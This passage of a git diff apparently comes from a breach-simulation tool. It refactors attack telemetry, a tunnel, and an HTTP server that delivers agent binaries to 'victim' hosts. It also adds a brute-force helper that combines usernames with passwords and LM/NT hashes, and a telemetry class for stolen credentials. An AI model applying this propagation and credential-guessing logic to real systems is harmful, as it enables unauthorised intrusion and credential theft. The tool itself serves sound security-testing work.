file's name """ super(T1105Telem, self).__init__("T1105", status) - self.filename = filename + self.filename = str(filename) self.src = src self.dst = dst diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py index 816488f3b..c3667289b 100644 --- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -13,5 +13,5 @@ class T1107Telem(AttackTelem): def get_data(self): data = super(T1107Telem, self).get_data() - data.update({"path": self.path}) + data.update({"path": str(self.path)}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1145_telem.py b/monkey/infection_monkey/telemetry/attack/t1145_telem.py new file mode 100644 index 000000000..55f41d6a0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1145_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1145Telem(AttackTelem): + def __init__(self, status, name, home_dir): + """ + T1145 telemetry. + :param status: ScanStatus of technique + :param name: Username from which ssh keypair is taken + :param home_dir: Home directory where we found the ssh keypair + """ + super(T1145Telem, self).__init__("T1145", status) + self.name = name + self.home_dir = home_dir + + def get_data(self): + data = super(T1145Telem, self).get_data() + data.update({"name": self.name, "home_dir": self.home_dir}) + return data diff --git a/monkey/infection_monkey/telemetry/aws_instance_telem.py b/monkey/infection_monkey/telemetry/aws_instance_telem.py new file mode 100644 index 000000000..d2469b971 --- /dev/null +++ b/monkey/infection_monkey/telemetry/aws_instance_telem.py @@ -0,0 +1,18 @@ +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.telemetry.base_telem import BaseTelem + + +class AWSInstanceTelemetry(BaseTelem): + def __init__(self, aws_instance_id: str): + """ + Default AWS instance telemetry constructor + """ + self.aws_instance_info = {"instance_id": aws_instance_id} + + telem_category = TelemCategoryEnum.AWS_INFO + + def get_data(self): + return self.aws_instance_info + + def send(self, log_data=False): + super(AWSInstanceTelemetry, self).send(log_data) diff --git a/monkey/infection_monkey/telemetry/credentials_telem.py b/monkey/infection_monkey/telemetry/credentials_telem.py new file mode 100644 index 000000000..4f5c43aa4 --- /dev/null +++ b/monkey/infection_monkey/telemetry/credentials_telem.py @@ -0,0 +1,47 @@ +import enum +import json +from typing import Dict, Iterable + +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialComponent +from infection_monkey.telemetry.base_telem import BaseTelem + + +class CredentialsTelem(BaseTelem): + telem_category = TelemCategoryEnum.CREDENTIALS + + def __init__(self, credentials: Iterable[Credentials]): + """ + Used to send information about stolen or discovered credentials to the Island. + :param credentials: An iterable containing credentials to be sent to the Island. + """ + self._credentials = credentials + + @property + def credentials(self) -> Iterable[Credentials]: + return iter(self._credentials) + + def send(self, log_data=True): + super().send(log_data=False) + + def get_data(self) -> Dict: + # TODO: At a later time we can consider factoring this into a Serializer class or similar. + return json.loads(json.dumps(self._credentials, default=_serialize)) + + +def _serialize(obj): + if isinstance(obj, enum.Enum): + return obj.name + + if isinstance(obj, ICredentialComponent): + # This is a workaround for ICredentialComponents that are implemented as dataclasses. If the + # credential_type attribute is populated with `field(init=False, ...)`, then credential_type + # is not added to the object's __dict__ attribute. The biggest risk of this workaround is + # that we might change the name of the credential_type field in ICredentialComponents, but + # automated refactoring tools would not detect that this string needs to change. This is + # mittigated by the call to getattr() below, which will raise an AttributeException if the + # attribute name changes and a unit test will fail under these conditions. + credential_type = getattr(obj, "credential_type") + return dict(obj.__dict__, **{"credential_type": credential_type}) + + return getattr(obj, "__dict__", str(obj)) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index e181b0243..62f5d728f 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -1,25 +1,43 @@ +from typing import Dict + from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.i_puppet.i_puppet import ExploiterResultData +from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem class ExploitTelem(BaseTelem): - def __init__(self, exploiter, result): + def __init__( + self, + name: str, + host: VictimHost, + result: ExploiterResultData, + ): """ Default exploit telemetry constructor - :param exploiter: The instance of exploiter used - :param result: The result from the 'exploit_host' method. + :param name: The name of exploiter used + :param host: The host machine + :param result: Data about the exploitation (success status, info, attempts, etc) """ super(ExploitTelem, self).__init__() - self.exploiter = exploiter - self.result = result + + self.name = name + self.host = host.__dict__ + self.exploitation_result = result.exploitation_success + self.propagation_result = result.propagation_success + self.interrupted = result.interrupted + self.info = result.info + self.attempts = result.attempts telem_category = TelemCategoryEnum.EXPLOIT - def get_data(self): + def get_data(self) -> Dict: return { - "result": self.result, - "machine": self.exploiter.host.__dict__, - "exploiter": self.exploiter.__class__.__name__, - "info": self.exploiter.exploit_info, - "attempts": self.exploiter.exploit_attempts, + "exploitation_result": self.exploitation_result, + "propagation_result": self.propagation_result, + "interrupted": self.interrupted, + "machine": self.host, + "exploiter": self.name, + "info": self.info, + "attempts": self.attempts, } diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/infection_monkey/telemetry/messengers/__init__.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py rename to monkey/infection_monkey/telemetry/messengers/__init__.py diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index 123903fb0..9dc051666 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -1,11 +1,11 @@ import queue import threading -import time from typing import Dict from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.utils.timer import Timer DEFAULT_PERIOD = 5 WAKES_PER_PERIOD = 4 @@ -40,9 +40,6 @@ class BatchingTelemetryMessenger(ITelemetryMessenger): self._period = period self._should_run_batch_thread = True - # TODO: Create a "timer" or "countdown" class and inject an object instead of - # using time.time() - self._last_sent_time = time.time() self._telemetry_batches: Dict[str, IBatchableTelem] = {} self._manage_telemetry_batches_thread = None @@ -60,21 +57,20 @@ class BatchingTelemetryMessenger(ITelemetryMessenger): self._manage_telemetry_batches_thread = None def _manage_telemetry_batches(self): - self._reset() + timer = Timer() + timer.set(self._period) + self._telemetry_batches = {} while self._should_run_batch_thread: self._process_next_telemetry() - if self._period_elapsed(): + if timer.is_expired(): self._send_telemetry_batches() - self._reset() + timer.reset() + self._telemetry_batches = {} self._send_remaining_telemetry_batches() - def _reset(self): - self._last_sent_time = time.time() - self._telemetry_batches = {} - def _process_next_telemetry(self): try: telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) @@ -94,9 +90,6 @@ class BatchingTelemetryMessenger(ITelemetryMessenger): else: self._telemetry_batches[telem_category] = new_telemetry - def _period_elapsed(self): - return (time.time() - self._last_sent_time) > self._period - def _send_remaining_telemetry_batches(self): while not self._queue.empty(): self._process_next_telemetry() diff --git a/monkey/infection_monkey/telemetry/messengers/credentials_intercepting_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/credentials_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..541800577 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/credentials_intercepting_telemetry_messenger.py @@ -0,0 +1,38 @@ +from functools import singledispatch + +from infection_monkey.credential_store import ICredentialsStore +from infection_monkey.telemetry.credentials_telem import CredentialsTelem +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + + +class CredentialsInterceptingTelemetryMessenger(ITelemetryMessenger): + def __init__( + self, telemetry_messenger: ITelemetryMessenger, credentials_store: ICredentialsStore + ): + self._telemetry_messenger = telemetry_messenger + self._credentials_store = credentials_store + + def send_telemetry(self, telemetry: ITelem): + _send_telemetry(telemetry, self._telemetry_messenger, self._credentials_store) + + +# Note: We can use @singledispatchmethod instead of @singledispatch if we migrate to Python 3.8 or +# later. +@singledispatch +def _send_telemetry( + telemetry: ITelem, + telemetry_messenger: ITelemetryMessenger, + credentials_store: ICredentialsStore, +): + telemetry_messenger.send_telemetry(telemetry) + + +@_send_telemetry.register +def _( + telemetry: CredentialsTelem, + telemetry_messenger: ITelemetryMessenger, + credentials_store: ICredentialsStore, +): + credentials_store.add_credentials(telemetry.credentials) + telemetry_messenger.send_telemetry(telemetry) diff --git a/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..b2a254061 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py @@ -0,0 +1,32 @@ +from functools import singledispatch + +from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.tunnel import MonkeyTunnel + + +class ExploitInterceptingTelemetryMessenger(ITelemetryMessenger): + def __init__(self, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel): + self._telemetry_messenger = telemetry_messenger + self._tunnel = tunnel + + def send_telemetry(self, telemetry: ITelem): + _send_telemetry(telemetry, self._telemetry_messenger, self._tunnel) + + +# Note: We can use @singledispatchmethod instead of @singledispatch if we migrate to Python 3.8 or +# later. +@singledispatch +def _send_telemetry( + telemetry: ITelem, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel +): + telemetry_messenger.send_telemetry(telemetry) + + +@_send_telemetry.register +def _(telemetry: ExploitTelem, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel): + if telemetry.propagation_result is True: + tunnel.set_wait_for_exploited_machines() + + telemetry_messenger.send_telemetry(telemetry) diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index 4c6607b9c..b968de71f 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -1,36 +1,35 @@ import socket +from typing import Dict, Tuple from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.i_puppet import PostBreachData from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.utils.environment import is_windows_os class PostBreachTelem(BaseTelem): - def __init__(self, pba, result): - """ - Default post breach telemetry constructor - :param pba: Post breach action which was used - :param result: Result of PBA - """ - super(PostBreachTelem, self).__init__() - self.pba = pba - self.result = result - self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() telem_category = TelemCategoryEnum.POST_BREACH - def get_data(self): + def __init__(self, post_breach_data: PostBreachData) -> None: + super(PostBreachTelem, self).__init__() + self.name = post_breach_data.display_name + self.command = post_breach_data.command + self.result = post_breach_data.result + self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() + + def get_data(self) -> Dict: return { - "command": self.pba.command, + "command": self.command, "result": self.result, - "name": self.pba.name, + "name": self.name, "hostname": self.hostname, "ip": self.ip, "os": PostBreachTelem._get_os(), } @staticmethod - def _get_hostname_and_ip(): + def _get_hostname_and_ip() -> Tuple[str, str]: try: hostname = socket.gethostname() ip = socket.gethostbyname(hostname) @@ -40,5 +39,5 @@ class PostBreachTelem(BaseTelem): return hostname, ip @staticmethod - def _get_os(): + def _get_os() -> str: return "Windows" if is_windows_os() else "Linux" diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py deleted file mode 100644 index 91b26f69d..000000000 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ /dev/null @@ -1,17 +0,0 @@ -from ScoutSuite.output.result_encoder import ScoutJsonEncoder -from ScoutSuite.providers.base.provider import BaseProvider - -from common.common_consts.telem_categories import TelemCategoryEnum -from infection_monkey.telemetry.base_telem import BaseTelem - - -class ScoutSuiteTelem(BaseTelem): - def __init__(self, provider: BaseProvider): - super().__init__() - self.provider_data = provider - - json_encoder = ScoutJsonEncoder - telem_category = TelemCategoryEnum.SCOUTSUITE - - def get_data(self): - return {"data": self.provider_data} diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py deleted file mode 100644 index 554568dd4..000000000 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ /dev/null @@ -1,20 +0,0 @@ -from common.common_consts.telem_categories import TelemCategoryEnum -from infection_monkey.telemetry.base_telem import BaseTelem - - -class SystemInfoTelem(BaseTelem): - def __init__(self, system_info): - """ - Default system info telemetry constructor - :param system_info: System info returned from SystemInfoCollector.get_info() - """ - super(SystemInfoTelem, self).__init__() - self.system_info = system_info - - telem_category = TelemCategoryEnum.SYSTEM_INFO - - def get_data(self): - return self.system_info - - def send(self, log_data=False): - super(SystemInfoTelem, self).send(log_data) diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 0dcbd56c6..960bce311 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,2 +1 @@ -from infection_monkey.transport.http import HTTPServer from infection_monkey.transport.http import LockedHTTPServer diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py index 77be3f3af..f61f7b115 100644 --- a/monkey/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -2,6 +2,7 @@ import time from threading import Thread g_last_served = None +PROXY_TIMEOUT = 2.5 class TransportProxyBase(Thread): diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 910d79bf4..63aaa0b36 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -1,5 +1,4 @@ import http.server -import os.path import select import socket import threading @@ -7,20 +6,20 @@ import urllib from logging import getLogger from urllib.parse import urlsplit -import requests - -import infection_monkey.control -import infection_monkey.monkeyfs as monkeyfs -from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time +from infection_monkey.transport.base import ( + PROXY_TIMEOUT, + TransportProxyBase, + update_last_serve_time, +) logger = getLogger(__name__) class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" - filename = "" + victim_os = "" + agent_repository = None def version_string(self): return "Microsoft-IIS/7.5." @@ -50,7 +49,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): total += chunk start_range += chunk - if f.tell() == monkeyfs.getsize(self.filename): + if f.tell() == len(f.getbuffer()): if self.report_download(self.client_address): self.close_connection = 1 @@ -63,15 +62,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)): + if self.path != "/" + urllib.parse.quote(self.victim_os): self.send_error(500, "") return None, 0, 0 try: - f = monkeyfs.open(self.filename, "rb") + f = self.agent_repository.get_agent_binary(self.victim_os) except IOError: self.send_error(404, "File not found") return None, 0, 0 - size = monkeyfs.getsize(self.filename) + size = len(f.getbuffer()) start_range = 0 end_range = size @@ -114,32 +113,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): timeout = 30 # timeout with clients, set to None not to make persistent connection - def do_POST(self): - try: - content_length = int(self.headers["Content-Length"]) - post_data = self.rfile.read(content_length).decode() - logger.info("Received bootloader's request: {}".format(post_data)) - try: - dest_path = self.path - r = requests.post( # noqa: DUO123 - url=dest_path, - data=post_data, - verify=False, - proxies=infection_monkey.control.ControlClient.proxies, - timeout=SHORT_REQUEST_TIMEOUT, - ) - self.send_response(r.status_code) - except requests.exceptions.ConnectionError as e: - logger.error("Couldn't forward request to the island: {}".format(e)) - self.send_response(404) - except Exception as e: - logger.error("Failed to forward bootloader request: {}".format(e)) - finally: - self.end_headers() - self.wfile.write(r.content) - except Exception as e: - logger.error("Failed receiving bootloader telemetry: {}".format(e)) - def version_string(self): return "" @@ -187,50 +160,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): ) -class HTTPServer(threading.Thread): - def __init__(self, local_ip, local_port, filename, max_downloads=1): - self._local_ip = local_ip - self._local_port = local_port - self._filename = filename - self.max_downloads = max_downloads - self.downloads = 0 - self._stopped = False - threading.Thread.__init__(self) - - def run(self): - class TempHandler(FileServHTTPRequestHandler): - from common.utils.attack_utils import ScanStatus - from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - - filename = self._filename - - @staticmethod - def report_download(dest=None): - logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) - TempHandler.T1105Telem( - TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename, - ).send() - self.downloads += 1 - if not self.downloads < self.max_downloads: - return True - return False - - httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) - httpd.timeout = 0.5 # this is irrelevant? - - while not self._stopped and self.downloads < self.max_downloads: - httpd.handle_request() - - self._stopped = True - - def stop(self, timeout=60): - self._stopped = True - self.join(timeout) - - class LockedHTTPServer(threading.Thread): """ Same as HTTPServer used for file downloads just with locks to avoid racing conditions. @@ -243,10 +172,21 @@ class LockedHTTPServer(threading.Thread): # Seconds to wait until server stops STOP_TIMEOUT = 5 - def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + def __init__( + self, + local_ip, + local_port, + victim_os, + dropper_target_path, + agent_repository, + lock, + max_downloads=1, + ): self._local_ip = local_ip self._local_port = local_port - self._filename = filename + self._victim_os = victim_os + self._dropper_target_path = dropper_target_path + self._agent_repository = agent_repository self.max_downloads = max_downloads self.downloads = 0 self._stopped = False @@ -259,7 +199,8 @@ class LockedHTTPServer(threading.Thread): from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - filename = self._filename + victim_os = self._victim_os + agent_repository = self._agent_repository @staticmethod def report_download(dest=None): @@ -268,7 +209,7 @@ class LockedHTTPServer(threading.Thread): TempHandler.ScanStatus.USED, get_interface_to_target(dest[0]), dest[0], - self._filename, + self._dropper_target_path, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: @@ -290,6 +231,6 @@ class LockedHTTPServer(threading.Thread): class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) - httpd.timeout = 30 + httpd.timeout = PROXY_TIMEOUT while not self._stopped: httpd.handle_request() diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index 2e13d6c43..83c631c3b 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -3,16 +3,20 @@ import socket from logging import getLogger from threading import Thread -from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time +from infection_monkey.transport.base import ( + PROXY_TIMEOUT, + TransportProxyBase, + update_last_serve_time, +) READ_BUFFER_SIZE = 8192 -DEFAULT_TIMEOUT = 30 +SOCKET_READ_TIMEOUT = 10 logger = getLogger(__name__) class SocketsPipe(Thread): - def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT): + def __init__(self, source, dest, timeout=SOCKET_READ_TIMEOUT): Thread.__init__(self) self.source = source self.dest = dest @@ -51,7 +55,7 @@ class TcpProxy(TransportProxyBase): pipes = [] l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) l_socket.bind((self.local_host, self.local_port)) - l_socket.settimeout(DEFAULT_TIMEOUT) + l_socket.settimeout(PROXY_TIMEOUT) l_socket.listen(5) while not self._stopped: diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 44d6064b3..26368bff6 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -2,13 +2,13 @@ import logging import socket import struct import time -from threading import Thread +from threading import Event, Thread -from infection_monkey.model import VictimHost from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port, local_ips from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.transport.base import get_last_serve_time +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) @@ -110,18 +110,27 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): class MonkeyTunnel(Thread): - def __init__(self, proxy_class, target_addr=None, target_port=None, timeout=DEFAULT_TIMEOUT): + def __init__( + self, + proxy_class, + keep_tunnel_open_time, + target_addr=None, + target_port=None, + timeout=DEFAULT_TIMEOUT, + ): self._target_addr = target_addr self._target_port = target_port self._proxy_class = proxy_class + self._keep_tunnel_open_time = keep_tunnel_open_time self._broad_sock = None self._timeout = timeout - self._stopped = False + self._stopped = Event() self._clients = [] self.local_port = None - super(MonkeyTunnel, self).__init__() + super(MonkeyTunnel, self).__init__(name="MonkeyTunnelThread") self.daemon = True self.l_ips = None + self._wait_for_exploited_machines = Event() def run(self): self._broad_sock = _set_multicast_socket(self._timeout) @@ -147,7 +156,7 @@ class MonkeyTunnel(Thread): ) proxy.start() - while not self._stopped: + while not self._stopped.is_set(): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if b"?" == search: @@ -173,7 +182,9 @@ class MonkeyTunnel(Thread): # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in # QUIT_TIMEOUT seconds - while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): + timer = Timer() + timer.set(self._calculate_timeout()) + while self._clients and not timer.is_expired(): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if b"-" == search: @@ -182,19 +193,38 @@ class MonkeyTunnel(Thread): except socket.timeout: continue + timer.set(self._calculate_timeout()) + logger.info("Closing tunnel") self._broad_sock.close() proxy.stop() proxy.join() - def set_tunnel_for_host(self, host): - assert isinstance(host, VictimHost) + def _calculate_timeout(self) -> float: + try: + return QUIT_TIMEOUT - (time.time() - get_last_serve_time()) + except TypeError: # get_last_serve_time() may return None + return 0.0 + + def get_tunnel_for_ip(self, ip: str): if not self.local_port: return - ip_match = get_interface_to_target(host.ip_addr) - host.default_tunnel = "%s:%d" % (ip_match, self.local_port) + ip_match = get_interface_to_target(ip) + return "%s:%d" % (ip_match, self.local_port) + + def set_wait_for_exploited_machines(self): + self._wait_for_exploited_machines.set() def stop(self): - self._stopped = True + self._wait_for_exploited_machine_connection() + self._stopped.set() + + def _wait_for_exploited_machine_connection(self): + if self._wait_for_exploited_machines.is_set(): + logger.info( + f"Waiting {self._keep_tunnel_open_time} seconds for exploited machines to connect " + "to the tunnel." + ) + time.sleep(self._keep_tunnel_open_time) diff --git a/monkey/infection_monkey/utils/agent_process.py b/monkey/infection_monkey/utils/agent_process.py new file mode 100644 index 000000000..52d75451b --- /dev/null +++ b/monkey/infection_monkey/utils/agent_process.py @@ -0,0 +1,8 @@ +import os + +import psutil + + +def get_start_time() -> float: + agent_process = psutil.Process(os.getpid()) + return agent_process.create_time() diff --git a/monkey/infection_monkey/utils/aws_environment_check.py b/monkey/infection_monkey/utils/aws_environment_check.py new file mode 100644 index 000000000..aa60e0a55 --- /dev/null +++ b/monkey/infection_monkey/utils/aws_environment_check.py @@ -0,0 +1,34 @@ +import logging + +from common.cloud.aws.aws_instance import AwsInstance +from infection_monkey.telemetry.aws_instance_telem import AWSInstanceTelemetry +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) +from infection_monkey.utils.threading import create_daemon_thread + +logger = logging.getLogger(__name__) + + +def _running_on_aws(aws_instance: AwsInstance) -> bool: + return aws_instance.is_instance() + + +def _report_aws_environment(telemetry_messenger: LegacyTelemetryMessengerAdapter): + logger.info("Collecting AWS info") + + aws_instance = AwsInstance() + + if _running_on_aws(aws_instance): + logger.info("Machine is an AWS instance") + telemetry_messenger.send_telemetry(AWSInstanceTelemetry(aws_instance.get_instance_id())) + else: + logger.info("Machine is NOT an AWS instance") + + +def run_aws_environment_check(telemetry_messenger: LegacyTelemetryMessengerAdapter): + logger.info("AWS environment check initiated.") + aws_environment_thread = create_daemon_thread( + target=_report_aws_environment, name="AWSEnvironmentThread", args=(telemetry_messenger,) + ) + aws_environment_thread.start() diff --git a/monkey/infection_monkey/utils/bit_manipulators.py b/monkey/infection_monkey/utils/bit_manipulators.py index 25280b813..8de1460ed 100644 --- a/monkey/infection_monkey/utils/bit_manipulators.py +++ b/monkey/infection_monkey/utils/bit_manipulators.py @@ -14,6 +14,10 @@ def flip_bits(data: bytes) -> bytes: # Remove the flip_bits_in_single_byte() function and rework the # unit tests so that we still have a high-degree of confidence # that this code is correct. + # + # EDIT: I believe PyPy will attempt to inline functions + # automatically. I don't know that CPython makes any such + # optimizations. flipped_bits[i] = flip_bits_in_single_byte(byte) return bytes(flipped_bits) diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py new file mode 100644 index 000000000..793ab655f --- /dev/null +++ b/monkey/infection_monkey/utils/brute_force.py @@ -0,0 +1,62 @@ +from itertools import chain, product +from typing import Any, Iterable, List, Mapping, Sequence, Tuple + + +def generate_identity_secret_pairs( + identities: Iterable, secrets: Iterable +) -> Iterable[Tuple[Any, Any]]: + """ + Generates all possible combinations of identities and secrets (e.g. usernames and passwords). + :param identities: An iterable containing identity components of a credential pair + :param secrets: An iterable containing secret components of a credential pair + :return: An iterable of all combinations of identity/secret pairs. If either identities or + secrets is empty, an empty iterator is returned. + """ + return product(identities, secrets) + + +def generate_username_password_or_ntlm_hash_combinations( + usernames: Iterable[str], + passwords: Iterable[str], + lm_hashes: Iterable[str], + nt_hashes: Iterable[str], +) -> Iterable[Tuple[str, str, str, str]]: + """ + Generates all possible combinations of the following: username/password, username/lm_hash, + username/nt_hash. + :param usernames: An iterable containing usernames + :param passwords: An iterable containing passwords + :param lm_hashes: An iterable containing lm_hashes + :param nt_hashes: An iterable containing nt_hashes + :return: An iterable containing tuples of all possible credentials combinations. Note that each + tuple will contain a username and at most one secret component (i.e. password, lm_hash, + nt_hash). If usernames is empty, an empty iterator is returned. If all secret component + iterators are empty, an empty iterator is returned. + """ + return chain( + product(usernames, passwords, [""], [""]), + product(usernames, [""], lm_hashes, [""]), + product(usernames, [""], [""], nt_hashes), + ) + + +def generate_brute_force_combinations(credentials: Mapping[str, Sequence[str]]): + return generate_username_password_or_ntlm_hash_combinations( + usernames=credentials["exploit_user_list"], + passwords=credentials["exploit_password_list"], + lm_hashes=credentials["exploit_lm_hash_list"], + nt_hashes=credentials["exploit_ntlm_hash_list"], + ) + + +# Expects a list of username, password, lm hash and nt hash in that order +def get_credential_string(creds: List) -> str: + cred_strs = [ + (creds[0], "username"), + (creds[1], "password"), + (creds[2], "lm hash"), + (creds[3], "nt hash"), + ] + + present_creds = [cred[1] for cred in cred_strs if cred[0]] + return ", ".join(present_creds) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index ee2f0153a..284729206 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -3,9 +3,7 @@ from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG from infection_monkey.model.host import VictimHost -def build_monkey_commandline( - target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None -) -> str: +def build_monkey_commandline(target_host: VictimHost, depth: int, location: str = None) -> str: return " " + " ".join( build_monkey_commandline_explicitly( @@ -14,7 +12,6 @@ def build_monkey_commandline( target_host.default_server, depth, location, - vulnerable_port, ) ) @@ -25,7 +22,6 @@ def build_monkey_commandline_explicitly( server: str = None, depth: int = None, location: str = None, - vulnerable_port: str = None, ) -> list: cmdline = [] @@ -46,9 +42,6 @@ def build_monkey_commandline_explicitly( if location is not None: cmdline.append("-l") cmdline.append(str(location)) - if vulnerable_port is not None: - cmdline.append("-vp") - cmdline.append(str(vulnerable_port)) return cmdline diff --git a/monkey/infection_monkey/utils/decorators.py b/monkey/infection_monkey/utils/decorators.py new file mode 100644 index 000000000..31ac0661b --- /dev/null +++ b/monkey/infection_monkey/utils/decorators.py @@ -0,0 +1,46 @@ +import threading +from functools import wraps + +from .timer import Timer + + +def request_cache(ttl: float): + """ + This is a decorator that allows a single response of a function to be cached with an expiration + time (TTL). The first call to the function is executed and the response is cached. Subsequent + calls to the function result in the cached value being returned until the TTL elapses. Once the + TTL elapses, the cache is considered stale and the decorated function will be called, its + response cached, and the TTL reset. + + An example usage of this decorator is to wrap a function that makes frequent slow calls to an + external resource, such as an HTTP request to a remote endpoint. If the most up-to-date + information is not need, this decorator provides a simple way to cache the response for a + certain amount of time. + + Example: + @request_cache(600) + def raining_outside(): + return requests.get(f"https://weather.service.api/check_for_rain/{MY_ZIP_CODE}") + + :param ttl: The time-to-live in seconds for the cached return value + :return: The return value of the decorated function, or the cached return value if the TTL has + not elapsed. + """ + + def decorator(fn): + @wraps(fn) + def wrapper(*args, **kwargs): + with wrapper.lock: + if wrapper.timer.is_expired(): + wrapper.cached_value = fn(*args, **kwargs) + wrapper.timer.set(ttl) + + return wrapper.cached_value + + wrapper.cached_value = None + wrapper.timer = Timer() + wrapper.lock = threading.Lock() + + return wrapper + + return decorator diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 704556335..da0a5e2e4 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ 